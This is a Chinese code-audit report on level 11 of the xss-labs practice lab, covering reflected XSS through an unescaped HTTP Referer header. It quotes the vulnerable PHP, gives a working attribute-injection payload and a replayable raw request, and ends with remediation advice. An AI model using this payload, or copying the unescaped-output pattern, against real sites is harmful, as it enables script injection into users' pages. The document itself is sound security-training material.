xss-labs Level11 代码审计报告
目标文件:
level11.php| 漏洞类型: 反射型 XSS —— HTTP Referer 头注入隐藏字段 | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径: 携带恶意Referer头 →<input name="t_ref" value="...">属性注入
一、漏洞代码定位
level11.php 第 17-27 行:
$str = $_GET["keyword"]; // L17
$str00 = $_GET["t_sort"]; // L18
$str11 = $_SERVER['HTTP_REFERER']; // L19 从 Referer 头取数
$str22 = str_replace(">", "", $str11); // L20 删除 >
$str33 = str_replace("<", "", $str22); // L21 删除 <
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> // L26 已转义(安全)
<input name="t_ref" value="'.$str33.'" type="hidden"> // L27 危险:Referer 未转义
</form>
</center>';
漏洞点: L27。HTTP_REFERER(攻击者可控的请求头)只删除了 </>,未转义引号即拼入 value 属性。
二、漏洞原理
- 本关把攻击面从 GET 参数转移到 HTTP Referer 请求头: 开发者认为"Referer 由浏览器自动携带、用户改不了",但任何能构造原始请求的工具(浏览器开发者工具、Yakit、curl、Burp)都能任意伪造 Referer。
- 隐藏字段 + 事件注入: 同 Level10,
type="hidden"不可聚焦,需注入type="text"覆盖 hidden,再用onfocus+autofocus触发(见 Level10 报告"隐藏字段覆盖 type"技巧)。 t_sort这处被htmlspecialchars转义了(安全),恰恰说明开发者对部分字段做了转义、对 Referer 漏做 —— 覆盖不全。
三、利用方式与 Yakit 可重放数据包
Referer 头 Payload(URL 解码后):
" type="text" onfocus=alert(1) autofocus="
渲染结果:
<input name="t_ref" value="" type="text" onfocus=alert(1) autofocus="" type="hidden">
Yakit 可重放原始请求(关键在 Referer 头):
GET /level11.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Referer: " type="text" onfocus=alert(1) autofocus="
Accept: text/html
Connection: close
触发方式: 发送后输入框变为 type=text 并 autofocus,聚焦触发 onfocus=alert(1) → 命中通关逻辑跳转 level12。
浏览器直接访问无法自定义 Referer,需用 Yakit/代理工具重放,这也正是"标准 Yakit 可重放数据包"的意义。
四、修复建议
// 1. 业务上不要信任 Referer;若确需展示,先转义再输出
$ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "";
$safe = htmlspecialchars($ref, ENT_QUOTES, 'UTF-8');
echo '<input name="t_ref" value="'.$safe.'" type="hidden">';
// 2. 更优:根本不回显 Referer 等头信息;隐藏字段改为服务端数据驱动
要点:
- 一切外部输入(含所有 HTTP 头)进入 HTML 前都必须编码;Referer/UA/Cookie 与 GET/POST 同等危险。
- 隐藏字段不输出为客户端可控值,逻辑用服务端状态。
- 输出编码统一
ENT_QUOTES。
五、备注
- 本关说明: 请求头是常被审计忽略的 XSS 入口。审计时要对
$_SERVER中所有回显到头的信息(Referer / UA / 自定义头)做排查。 - 相关技巧沿用 Level10 报告: 隐藏字段需
type="text"覆盖 hidden 才可触发事件。
正文完